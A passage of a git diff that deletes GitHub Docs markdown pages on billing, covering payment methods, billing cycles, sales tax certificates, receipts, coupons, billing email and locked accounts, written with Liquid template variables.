%} -{% endif %} - -{% ifversion enhanced-billing-platform %} - -## How do I know which billing platform I'm using? - -You have access to the new billing platform if you have an enterprise account, or if you are part of an organization owned by an enterprise account, created after June 2, 2024. Enterprises that participated in the {% data variables.release-phases.private_preview %} also have access to the new billing platform. See [AUTOTITLE](/billing/using-the-new-billing-platform/about-the-new-billing-platform-for-enterprises). - -{% data reusables.billing.enhanced-billing-platform-product %} - -To check if you have access: - -{% data reusables.enterprise-accounts.access-enterprise %} - -If you have access, there will be a **{% octicon "credit-card" aria-hidden="true" %} Billing & Licensing** option {% ifversion horizontal-nav %}at the top of the page.{% else %}in the enterprise account sidebar.{% endif %} - -{% endif %} - -## Further reading - -* [AUTOTITLE](/admin/overview/about-enterprise-accounts) diff --git a/content/billing/using-the-billing-platform/about-billing-on-github.md b/content/billing/using-the-billing-platform/about-billing-on-github.md deleted file mode 100644 index 7b36458f7d64..000000000000 --- a/content/billing/using-the-billing-platform/about-billing-on-github.md +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: About billing on GitHub -intro: "Your bill is a combination of charges for your subscriptions, including your account's plan, and usage-based billing." -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-on-github - - /articles/about-billing-on-github - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/about-billing-on-github - - /billing/managing-your-github-billing-settings/about-billing-on-github -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Fundamentals ---- - -## About billing on {% data variables.product.prodname_dotcom %} - -{% data variables.product.company_short %} bills separately for each account. This means that you will receive a separate bill for your personal account and for each organization or enterprise account you own. For more information about account types, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts). - -You can switch between the billing settings for each of your accounts by using the context switcher. See [Switching between settings for your different accounts](#switching-between-settings-for-your-different-accounts). - -The bill for each account is a combination of subscriptions and usage-based billing. Subscriptions include your account's plan, such as {% data variables.product.prodname_pro %} or {% data variables.product.prodname_team %}, as well as paid products that have a consistent monthly cost, such as {% data variables.product.prodname_copilot %} and apps from {% data variables.product.prodname_marketplace %}. - -Usage-based billing applies when the cost of a paid product depends on how much you use the product. For example, the cost of {% data variables.product.prodname_actions %} depends on how many minutes your jobs spend running and how much storage your artifacts use. - -Your plan may come with included amounts of usage-based products. For example, with {% data variables.product.prodname_pro %}, your personal account gets 3,000 minutes of {% data variables.product.prodname_actions %} usage for free each month. You can control usage beyond the included amounts by setting spending limits. - -{% ifversion us-sales-tax %} - -{% data reusables.billing.us-sales-tax %} - -{% endif %} - -## Included amounts by plan - -<table> - <tr> - <th><b>Product</b></th> - <th><b>Usage</b></th> - <th><b>{% data variables.product.prodname_free_user %}</b></th> - <th><b>{% data variables.product.prodname_pro %}</b></th> - <th><b>{% data variables.product.prodname_free_team %} for organizations</b></th> - <th><b>{% data variables.product.prodname_team %}</b></th> - <th><b>{% data variables.product.prodname_ghe_cloud %}</b></th> - </tr> - <tr> - <th rowspan="2" scope="rowgroup"><b>{% data variables.product.prodname_actions %}</b></th> - <th><b>Storage</b></th> - <td>500 MB</th> - <td>1 GB</th> - <td>500 MB</th> - <td>2 GB</th> - <td>50 GB</th> - </tr> - <tr> - <th><b>Minutes (per month)</b></th> - <td>2,000</th> - <td>3,000</th> - <td>2,000</th> - <td>3,000</th> - <td>50,000</th> - </tr> - <tr> - <th rowspan="2" scope="rowgroup"><b>{% data variables.product.prodname_github_codespaces %}</b></th> - <th><b>Storage (per month)</b></th> - <td>15 GB</th> - <td>20 GB</th> - <td>None</th> - <td>None</th> - <td>None</th> - </tr> - <tr> - <th><b>Core hours (per month)</b></th> - <td>120</th> - <td>180</th> - <td>None</th> - <td>None</th> - <td>None</th> - </tr> - <tr> - <th rowspan="2" scope="rowgroup"><b>{% data variables.product.prodname_registry %}</b></th> - <th><b>Storage</b></th> - <td>500 MB</th> - <td>2 GB</th> - <td>500 MB</th> - <td>2 GB</th> - <td>50 GB</th> - </tr> - <tr> - <th><b>Data transfer (per month)</b></th> - <td>1 GB</th> - <td>10 GB</th> - <td>1 GB</th> - <td>10 GB</th> - <td>100 GB</th> - </tr> - <tr> - <th rowspan="2" scope="rowgroup"><b>{% data variables.large_files.product_name_long %}</b></th> - <th><b>Storage (per month)</b></th> - <td>1 GB</th> - <td>1 GB</th> - <td>1 GB</th> - <td>1 GB</th> - <td>1 GB</th> - </tr> - <tr> - <th><b>Bandwidth (per month)</b></th> - <td>1 GB</th> - <td>1 GB</th> - <td>1 GB</th> - <td>1 GB</th> - <td>1 GB</th> - </tr> -</table> - -## Managing billing settings - -You must manage billing settings, payment method, and paid features and products for each of your accounts separately. You can choose to pay monthly or yearly for each account. All subscriptions and usage-based billing associated with an account shares a billing date, payment method, and receipt. - -{% ifversion fpt %}{% data reusables.dotcom_billing.payment-methods %} {% data reusables.dotcom_billing.same-payment-method %} - -For qualifying usage-based services, you may choose to pay for the services from your {% data variables.product.prodname_dotcom %} account or from an Azure subscription. The terms of the billing method you choose will apply to services billed in this manner.{% endif %} - -{% ifversion ghec %} - -{% data reusables.billing.usage-based-billing %} - -Payments can be made via credit card, PayPal, or Azure subscription. When you update the payment method for your account's plan, your new payment method is automatically added to your other subscriptions and usage-based billing. - -{% endif %} - -See [AUTOTITLE](/billing/managing-your-github-billing-settings). - -## Switching between settings for your different accounts - -If you're an organization or enterprise owner, you can switch between settings for your different accounts using the context switcher in your settings. - -{% data reusables.user-settings.access_settings %} -1. At the top of the page, to the right of your name, click **Switch settings context**. - - ![Screenshot of the "Public profile" settings for The Octocat. Next to "Your personal profile," a "Switch settings context" link is outlined in orange.](/assets/images/help/settings/context-switcher-button.png) -1. Start typing the name of the account you want to switch to, then click the name of the account. -1. In the left sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Billing and plans**. diff --git a/content/billing/using-the-billing-platform/adding-a-sales-tax-certificate.md b/content/billing/using-the-billing-platform/adding-a-sales-tax-certificate.md deleted file mode 100644 index df6ba319e4bb..000000000000 --- a/content/billing/using-the-billing-platform/adding-a-sales-tax-certificate.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Adding a sales tax certificate -intro: If you're a customer in the United States with a {% data variables.product.company_short %} Customer Agreement and you're exempt from sales tax, you can upload a certificate to ensure the correct sales tax amount is calculated. -redirect_from: - - /billing/managing-your-github-billing-settings/adding-a-sales-tax-certificate -versions: - feature: us-sales-tax -type: how_to -topics: - - Organizations - - User account -shortTitle: Add a sales tax certificate ---- - -{% ifversion fpt %}{% data reusables.billing.enhanced-billing-platform-personal-accounts %}{% endif %} - -If you're a {% data variables.product.company_short %} customer in the United States, you need to ensure that your account is set up to calculate sales tax correctly. If you're exempt from sales tax, you can upload a certificate to your account. The format of the certificate you upload must be one of the following: - -* JPEG (`.jpg`, `.jpeg`) -* PNG (`.png`) -* PDF (`.pdf`) - -Your account is marked as tax exempt while your certificate is reviewed. If your certificate is not approved, you will need to upload a new one. - -## Adding a sales tax exemption certificate to your organization account - -You can upload a sales tax exemption certificate to your organization account if your account uses the {% data variables.product.company_short %} Customer Agreement. - -{% ifversion fpt or ghec %} - -> [!NOTE] -> This option is not available for accounts that use the {% data variables.product.company_short %} Standard Terms of Service. For information about updating your organization, see [AUTOTITLE](/organizations/managing-organization-settings/upgrading-to-the-github-customer-agreement). - -{% endif %} - -{% data reusables.organizations.billing-settings %} -1. At the top of the page, click **Payment information**. - - ![Screenshot of the "Billing Summary" section of the settings page. A link, labeled "Payment information," is highlighted with an orange outline.](/assets/images/help/settings/payment-info-link.png) -{% data reusables.billing.verify-address %} -{% data reusables.billing.sales-tax-certificate-upload %} -{% data reusables.billing.remove-sales-tax-certificate %} - -{% ifversion ghec or ghes %} - -## Adding a sales tax exemption certificate to your enterprise account - -Enterprise owners and billing managers can upload a sales tax exemption certificate to an enterprise account if the account uses the {% data variables.product.company_short %} Customer Agreement. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. At the top of the page, click **Payment information**. - - ![Screenshot of the "Billing Summary" section of the settings page. A link, labeled "Payment information," is highlighted with an orange outline.](/assets/images/help/settings/payment-info-link.png) - -{% data reusables.billing.verify-address %} -1. At the bottom of the page, in the "Sales Tax" section, click **Upload certificate**, and select the certificate file you want to upload. -{% data reusables.billing.remove-sales-tax-certificate %} - -{% endif %} diff --git a/content/billing/using-the-billing-platform/adding-information-to-your-receipts.md b/content/billing/using-the-billing-platform/adding-information-to-your-receipts.md deleted file mode 100644 index 7126ea4d6be2..000000000000 --- a/content/billing/using-the-billing-platform/adding-information-to-your-receipts.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Adding information to your receipts -intro: 'You can add extra information to your {% data variables.product.github %} receipts, such as tax or accounting information required by your company or country.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/adding-information-to-your-receipts - - /articles/can-i-add-my-credit-card-number-to-my-receipts - - /articles/can-i-add-extra-information-to-my-receipts--2 - - /articles/how-can-i-add-extra-information-to-my-receipts - - /articles/could-you-add-my-card-number-to-my-receipts - - /articles/how-can-i-add-extra-information-to-my-personal-account-s-receipts - - /articles/adding-information-to-your-personal-account-s-receipts - - /articles/how-can-i-add-extra-information-to-my-organization-s-receipts - - /articles/adding-information-to-your-organization-s-receipts - - /articles/adding-information-to-your-receipts - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/adding-information-to-your-receipts - - /billing/managing-your-github-billing-settings/adding-information-to-your-receipts -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Organizations - - Receipts - - User account -shortTitle: Add to your receipts ---- - -{% data reusables.billing.enhanced-billing-platform-personal-accounts %} - -Your receipts include your {% data variables.product.prodname_dotcom %} subscription as well as any subscriptions for other paid features and products. For more information, see [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-on-github). - -> [!WARNING] -> For security reasons, we strongly recommend against including any confidential or financial information (such as credit card numbers) on your receipts. - -## Adding information to your personal account's receipts - -You can add information to your personal account's receipts, such as a VAT or GST identification number, or your full business name or address of record. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans_payment %} -{% data reusables.user-settings.additional-information %} -{% data reusables.dotcom_billing.extra_info_receipt %} - -## Adding information to your organization's receipts - -You can add information to your organization's receipts, such as a VAT or GST identification number, or your full business name or address of record. - -> [!NOTE] -> {% data reusables.dotcom_billing.org-billing-perms %} - -{% data reusables.organizations.billing-settings %} -1. At the top of the page, click **Payment information**. - - ![Screenshot of the "Billing Summary" section of the settings page. A link, labeled "Payment information," is highlighted with an orange outline.](/assets/images/help/settings/payment-info-link.png) - -{% data reusables.user-settings.additional-information %} -{% data reusables.dotcom_billing.extra_info_receipt %} diff --git a/content/billing/using-the-billing-platform/adding-or-editing-a-payment-method.md b/content/billing/using-the-billing-platform/adding-or-editing-a-payment-method.md deleted file mode 100644 index e91346256f4b..000000000000 --- a/content/billing/using-the-billing-platform/adding-or-editing-a-payment-method.md +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Adding or editing a payment method -intro: You can add a payment method to your account or update your account's existing payment method at any time. -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/adding-or-editing-a-payment-method - - /articles/updating-your-personal-account-s-payment-method - - /articles/how-do-i-update-my-credit-card - - /articles/updating-your-account-s-credit-card - - /articles/updating-your-personal-account-s-credit-card - - /articles/updating-your-personal-account-s-paypal-information - - /articles/does-github-provide-invoicing - - /articles/switching-payment-methods-for-your-personal-account - - /articles/paying-for-your-github-organization-account - - /articles/updating-your-organization-s-credit-card - - /articles/updating-your-organization-s-paypal-information - - /articles/updating-your-organization-s-payment-method - - /articles/switching-payment-methods-for-your-organization - - /articles/adding-or-editing-a-payment-method - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/adding-or-editing-a-payment-method - - /billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Organizations - - User account -shortTitle: Manage a payment method ---- - -{% data reusables.billing.enhanced-billing-platform-personal-accounts %} - -{% data reusables.dotcom_billing.payment-methods %} {% data reusables.dotcom_billing.same-payment-method %} - -We don't support purchase orders for personal accounts. We email receipts monthly or yearly on your account's billing date. If your company, country, or accountant requires your receipts to provide more detail, you can add extra information to your receipts. For more information, see [AUTOTITLE](/billing/managing-your-github-billing-settings/adding-information-to-your-receipts). - -{% ifversion us-sales-tax %} - -{% data reusables.billing.us-sales-tax %} - -{% endif %} - -## Updating your personal account's payment method - -You can update your personal account's payment method at any time. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.dotcom_billing.update_payment_method_personal_account %} -{% data reusables.billing.edit-billing-information %} -{% data reusables.dotcom_billing.enter-billing-info %} -{% data reusables.billing.edit-payment-method %} -{% data reusables.dotcom_billing.enter-payment-info %} - -## Updating your organization's payment method - -{% data reusables.dotcom_billing.org-billing-perms %} - -If your organization is outside of the US or if you're using a corporate checking account to pay for {% data variables.product.github %}, PayPal could be a helpful method of payment. - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.update_payment_method_organization_account %} -1. If your account has an existing credit card that you want to update, click **New Card**. -![Screenshot of the "Payment method" section. Below some card details, a link, labeled "New Card", is highlighted with an orange outline.](/assets/images/help/billing/billing-new-card-button.png) -{% data reusables.dotcom_billing.enter-payment-info %} - -{% ifversion ghec or ghes %} - -## Updating your enterprise account's payment method - -{% data reusables.enterprise-accounts.billing-perms %} - -You can update your enterprise account's credit card or PayPal details, or you can switch to invoicing. - -### Updating your enterprise account's credit card or PayPal details - -> [!NOTE] -> If your enterprise account is invoiced, you cannot change your payment method on {% data variables.product.prodname_dotcom %}. Instead, contact {% data variables.contact.contact_enterprise_sales %}. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -{% data reusables.dotcom_billing.update_payment_method %} -{% data reusables.billing.edit-billing-information %} -{% data reusables.dotcom_billing.enter-billing-info %} -{% data reusables.billing.edit-payment-method %} -{% data reusables.dotcom_billing.enter-payment-info %} - -### Switching to invoicing - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Under "Payment information", click **Switch to invoice**. - - ![Screenshot of the billing page for an enterprise account. In the "Payment information" section, a "Switch to invoice" link is outlined in orange.](/assets/images/help/billing/switch-to-invoice.png) -1. Complete the form, then click **Contact Sales**. - -{% endif %} diff --git a/content/billing/using-the-billing-platform/changing-the-duration-of-your-billing-cycle.md b/content/billing/using-the-billing-platform/changing-the-duration-of-your-billing-cycle.md deleted file mode 100644 index f208a54e2c19..000000000000 --- a/content/billing/using-the-billing-platform/changing-the-duration-of-your-billing-cycle.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Changing the duration of your billing cycle -intro: You can pay for your account's subscription and other paid features and products on a monthly or yearly billing cycle. -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/changing-the-duration-of-your-billing-cycle - - /articles/monthly-and-yearly-billing - - /articles/switching-between-monthly-and-yearly-billing-for-your-personal-account - - /articles/switching-between-monthly-and-yearly-billing-for-your-organization - - /articles/changing-the-duration-of-your-billing-cycle - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle - - /billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Organizations - - Repositories - - User account -shortTitle: Billing cycle ---- - -{% data reusables.billing.enhanced-billing-platform-personal-accounts %} - -When you change your billing cycle's duration, your {% data variables.product.prodname_dotcom %} subscription, along with any other paid features and products, will be moved to your new billing cycle on your next billing date. - -> [!NOTE] -> Certain products, such as {% data variables.product.prodname_copilot_for_business %} and {% data variables.product.prodname_copilot_enterprise %}, {% data variables.product.prodname_actions %}, and {% data variables.product.prodname_registry %}, only offer monthly billing. - -## Changing the duration of your personal account's billing cycle - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.dotcom_billing.change_plan_duration %} -1. Review your new payment details, then click **Change your account's billing cycle**. - -## Changing the duration of your organization's billing cycle - -{% data reusables.dotcom_billing.org-billing-perms %} - -### Changing the duration of a per-user subscription - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.change_plan_duration %} -1. Review your new payment details, then click **Change your organization's billing cycle**. - -### Changing the duration of a legacy per-repository plan - -{% data reusables.organizations.billing-settings %} -1. Under "Billing overview", next to your plan, click **Change plan**. -1. At the top right corner, click **Switch to monthly billing** or **Switch to yearly billing**. - -{% ifversion ghec %} - -## Changing the duration of your enterprise account's billing cycle - ->[!IMPORTANT] If you are on the new billing platform, this procedure does not apply to you. For more information about the billing cycle for your enterprise account, see [AUTOTITLE](/billing/using-the-enhanced-billing-platform-for-enterprises/about-the-billing-cycle). - -{% data reusables.enterprise-accounts.billing-perms %} - -> [!NOTE] -> You cannot change the duration of your billing cycle if your enterprise account is invoiced. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Under "Payment information", click **Switch to yearly billing and save** or **Switch to monthly billing**. - - ![Screenshot of the billing page for an enterprise account. In "Payment information", a "Switch to yearly billing and save" link is outlined in orange.](/assets/images/help/billing/switch-to-yearly-billing.png) -1. Under "How often do you want to be billed?", select a billing cycle. -1. Click **Change your account's billing cycle**. -{% endif %} diff --git a/content/billing/using-the-billing-platform/index.md b/content/billing/using-the-billing-platform/index.md deleted file mode 100644 index ff8a0a0a675e..000000000000 --- a/content/billing/using-the-billing-platform/index.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Using the billing platform -shortTitle: Billing platform -intro: 'Your account''s billing settings apply to every paid feature or product you add to the account. You can manage settings like your payment method, billing cycle, and billing email. You can also view billing information such as your subscription, billing date, payment history, and past receipts.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings - - /articles/viewing-and-managing-your-personal-account-s-billing-information - - /articles/paying-for-user-accounts - - /articles/viewing-and-managing-your-organization-s-billing-information - - /articles/paying-for-organization-accounts - - /categories/paying-for-organization-accounts/articles - - /categories/99/articles - - /articles/managing-your-github-billing-settings - - /billing/managing-your-github-billing-settings -versions: - fpt: '*' - ghec: '*' - ghes: '*' -children: - - /about-billing-on-github - - /about-billing-for-your-enterprise - - /viewing-your-subscriptions-and-billing-date - - /adding-or-editing-a-payment-method - - /viewing-your-payment-history-and-receipts - - /adding-information-to-your-receipts - - /adding-a-sales-tax-certificate - - /setting-your-billing-email - - /changing-the-duration-of-your-billing-cycle - - /redeeming-a-coupon - - /troubleshooting-a-declined-credit-card-charge - - /unlocking-a-locked-account ---- diff --git a/content/billing/using-the-billing-platform/redeeming-a-coupon.md b/content/billing/using-the-billing-platform/redeeming-a-coupon.md deleted file mode 100644 index 92ccf3aaef0c..000000000000 --- a/content/billing/using-the-billing-platform/redeeming-a-coupon.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Redeeming a coupon -intro: 'If you have a coupon, you can redeem it towards a paid {% data variables.product.prodname_dotcom %} subscription.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/redeeming-a-coupon - - /articles/where-do-i-add-a-coupon-code - - /articles/redeeming-a-coupon-for-your-personal-account - - /articles/redeeming-a-coupon-for-organizations - - /articles/redeeming-a-coupon - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/redeeming-a-coupon - - /billing/managing-your-github-billing-settings/redeeming-a-coupon -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Discounts - - Fundamentals - - Organizations - - User account ---- -{% data variables.product.company_short %} can't issue a refund if you pay for an account before applying a coupon. We also can't transfer a redeemed coupon or give you a new coupon if you apply it to the wrong account. Confirm that you're applying the coupon to the correct account before you redeem a coupon. - -{% data reusables.dotcom_billing.coupon-expires %} - -> [!NOTE] -> You cannot apply coupons to paid plans for {% data variables.product.prodname_marketplace %} apps. - -## Redeeming a coupon for your personal account - -{% data reusables.dotcom_billing.enter_coupon_code_on_redeem_page %} -1. Under "Redeem your coupon", click **Choose** next to your _personal_ account's username. -{% data reusables.dotcom_billing.redeem_coupon %} - -## Redeeming a coupon for your organization - -{% data reusables.dotcom_billing.org-billing-perms %} - -{% data reusables.dotcom_billing.enter_coupon_code_on_redeem_page %} -1. Under "Redeem your coupon", click **Choose** next to the _organization_ you want to apply the coupon to. If you'd like to apply your coupon to a new organization that doesn't exist yet, click **Create a new organization**. -{% data reusables.dotcom_billing.redeem_coupon %} - -{% ifversion ghec %} - -## Redeeming a coupon for your enterprise - -Redeeming a {% data variables.product.prodname_ghe_cloud %} coupon will create a new enterprise account. You can't redeem a coupon for an existing enterprise account yourself. If you have an existing enterprise account and want to redeem a coupon, you can [contact {% data variables.contact.github_support %}](/support/contacting-github-support). - -{% data reusables.dotcom_billing.enter_coupon_code_on_redeem_page %} -1. Select the organization that you would like to add to your new enterprise. -{% data reusables.dotcom_billing.redeem_coupon %} - -{% endif %} diff --git a/content/billing/using-the-billing-platform/setting-your-billing-email.md b/content/billing/using-the-billing-platform/setting-your-billing-email.md deleted file mode 100644 index 3c768b51371b..000000000000 --- a/content/billing/using-the-billing-platform/setting-your-billing-email.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Setting your billing email -intro: 'Your account''s billing email is where {% data variables.product.company_short %} sends receipts and other billing-related communication.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/setting-your-billing-email - - /articles/setting-your-personal-account-s-billing-email - - /articles/can-i-change-what-email-address-received-my-github-receipt - - '/articles/how-do-i-change-the-billing-email,setting-your-billing-email' - - /articles/setting-your-organization-s-billing-email - - /articles/setting-your-billing-email - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/setting-your-billing-email - - /billing/managing-your-github-billing-settings/setting-your-billing-email -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Organizations - - User account -shortTitle: Billing email ---- -## Setting your personal account's billing email - -Your personal account's primary email is where {% data variables.product.company_short %} sends receipts and other billing-related communication. - -Your primary email address is the first email listed in your account email settings. -We also use your primary email address as our billing email address. - -If you'd like to change your billing email, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address). - -## Setting your organization's billing email - -Your organization's billing email is where {% data variables.product.company_short %} sends receipts and other billing-related communication. The email address does not need to be unique to the organization account. - -{% data reusables.dotcom_billing.org-billing-perms %} - -{% data reusables.organizations.billing-settings %} -1. Under "Billing management", under "Email recipients", find the email address you want to change and click **Edit**. - ![Screenshot of the "Email recipients" list. Next to an email address, a button, labeled "Edit", is highlighted with an orange outline.](/assets/images/help/billing/billing-change-email.png) -1. Type a valid email address, then click **Update**. - -## Managing additional recipients for your organization's billing email - -If you have users that want to receive billing reports, you can add their email addresses as billing email recipients. This feature is only available to organizations that are not managed by an enterprise. - -{% data reusables.dotcom_billing.org-billing-perms %} - -### Adding a recipient for billing notifications for your organization - -{% data reusables.organizations.billing-settings %} -1. Under "Billing management", to the right of "Email recipients", click **Add**. - ![Screenshot of the "Billing management" section. Next to "Email recipients", a button, labeled "Add", is highlighted with an orange outline.](/assets/images/help/billing/billing-add-email-recipient.png) -1. Type the email address of the recipient, then click **Add**. - -### Changing the primary recipient for billing notifications for your organization - -One address must always be designated as the primary recipient. The address with this designation can't be removed until a new primary recipient is selected. - -{% data reusables.organizations.billing-settings %} -1. Under "Billing management", under "Email recipients", find the email address you want to set as the primary recipient. -1. To the right of the email address, select **Edit**, then click **Mark as primary**. - ![Screenshot of the "Email recipients" section. Next to an email address, under the open "Edit" dropdown, "Mark as primary" is outlined in orange.](/assets/images/help/billing/billing-change-primary-email-recipient.png) - -### Removing a recipient from billing notifications for your organization - -{% data reusables.organizations.billing-settings %} -1. Under "Email recipients", find the email address you want to remove. -1. To the right of the email address, select "Edit", then click **Remove**. - ![Screenshot of the "Email recipients" section. Next to an email address, under the "Edit" dropdown, "Remove" is highlighted with an orange outline.](/assets/images/help/billing/billing-remove-email-recipient.png) -1. Review the confirmation prompt, then click **Remove**. - -{% ifversion ghec %} - -## Setting your enterprise's billing email - -Your enterprise's billing email is where {% data variables.product.company_short %} sends receipts and other billing-related communication. The email address does not need to be unique to the enterprise account. - -Only enterprise members with the owner or billing manager role can access or change billing settings for your enterprise. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Click **Billing emails**. -1. Under "Email recipients", to the right of the billing email address, click **Edit**. - ![Screenshot of the "Email recipients" list. Next to an email address, a button, labeled "Edit", is highlighted with an orange outline.](/assets/images/help/billing/billing-change-email.png) -1. Type a valid email address, then click **Update**. - -## Managing additional recipients for your enterprise's billing email - -If you have users that want to receive billing reports, you can add their email addresses as billing email recipients. - -Only enterprise members with the owner or billing manager role can access or change billing settings for your enterprise. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise). - -### Adding a recipient for billing notifications for your enterprise - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Click **Billing emails**. -1. Under "Email recipients", to the right of the billing email address, click **Add**. - ![Screenshot of the "Billing management" section. Next to "Email recipients", a button, labeled "Add", is highlighted with an orange outline.](/assets/images/help/billing/billing-add-email-recipient.png) -1. Type the email address of the recipient, then click **Add**. - -### Removing a recipient from billing notifications for your enterprise - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Click **Billing emails**. -1. Under "Email recipients", find the email address you want to remove. -1. To the right of the email address, select "Edit", then click **Remove**. - ![Screenshot of the "Email recipients" section. Next to an email address, under the "Edit" dropdown, "Remove" is highlighted with an orange outline.](/assets/images/help/billing/billing-remove-email-recipient.png) -1. Review the confirmation prompt, then click **Remove**. -{% endif %} diff --git a/content/billing/using-the-billing-platform/troubleshooting-a-declined-credit-card-charge.md b/content/billing/using-the-billing-platform/troubleshooting-a-declined-credit-card-charge.md deleted file mode 100644 index 41123b25b329..000000000000 --- a/content/billing/using-the-billing-platform/troubleshooting-a-declined-credit-card-charge.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Troubleshooting a declined credit card charge -intro: 'If the credit card you use to pay for {% data variables.product.github %} is declined, you can take several steps to ensure that your payments go through and that you are not locked out of your account.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/troubleshooting-a-declined-credit-card-charge - - /articles/what-do-i-do-if-my-card-is-declined - - /articles/troubleshooting-a-declined-credit-card-charge - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge - - /billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Troubleshooting -shortTitle: Declined credit card charge ---- -If your card is declined, we'll send you an email about why the payment was declined. You'll have a few days to resolve the problem before we try charging you again. - -## Check your card's expiration date - -If your card has expired, you'll need to update your account's payment information. For more information, see [AUTOTITLE](/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method). - -## Verify your bank's policy on card restrictions - -Some international banks place restrictions on international, e-commerce, and automatically recurring transactions. If you're having trouble making a payment with your international credit card, call your bank to see if there are any restrictions on your card. - -We also support payments through PayPal. For more information, see [AUTOTITLE](/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method). - -## Contact your bank for details about the transaction - -Your bank can provide additional information about declined payments if you specifically ask about the attempted transaction. If there are restrictions on your card and you need to call your bank, provide this information to your bank: - -* **The amount you're being charged.** The amount for your subscription appears on your account's receipts. For more information, see [AUTOTITLE](/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts). -* **The date when {% data variables.product.company_short %} bills you.** Your account's billing date appears on your receipts. -* **The transaction ID number.** Your account's transaction ID appears on your receipts. -* **The merchant name.** The merchant name is {% data variables.product.prodname_dotcom %}. -* **The error message your bank sent with the declined charge.** You can find your bank's error message on the email we send you when a charge is declined. diff --git a/content/billing/using-the-billing-platform/unlocking-a-locked-account.md b/content/billing/using-the-billing-platform/unlocking-a-locked-account.md deleted file mode 100644 index 1a5a74d10835..000000000000 --- a/content/billing/using-the-billing-platform/unlocking-a-locked-account.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Unlocking a locked account -intro: Your account's paid features are locked if your payment is past due because of billing problems. -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/unlocking-a-locked-account - - /articles/what-happens-if-my-account-is-locked - - /articles/if-my-account-is-locked-and-i-upgrade-it-do-i-owe-anything-for-previous-time - - /articles/if-my-account-is-locked-and-i-upgrade-it-do-i-pay-backcharges - - /articles/what-happens-if-my-repository-is-locked - - /articles/unlocking-a-locked-personal-account - - /articles/unlocking-a-locked-organization-account - - /articles/unlocking-a-locked-account - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/unlocking-a-locked-account - - /billing/managing-your-github-billing-settings/unlocking-a-locked-account -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Accounts - - Downgrades - - Organizations - - User account -shortTitle: Locked account ---- - -You can unlock and access your account by updating your account's payment method and resuming paid status. We do not ask you to pay for the time elapsed in locked mode. - -You can downgrade your 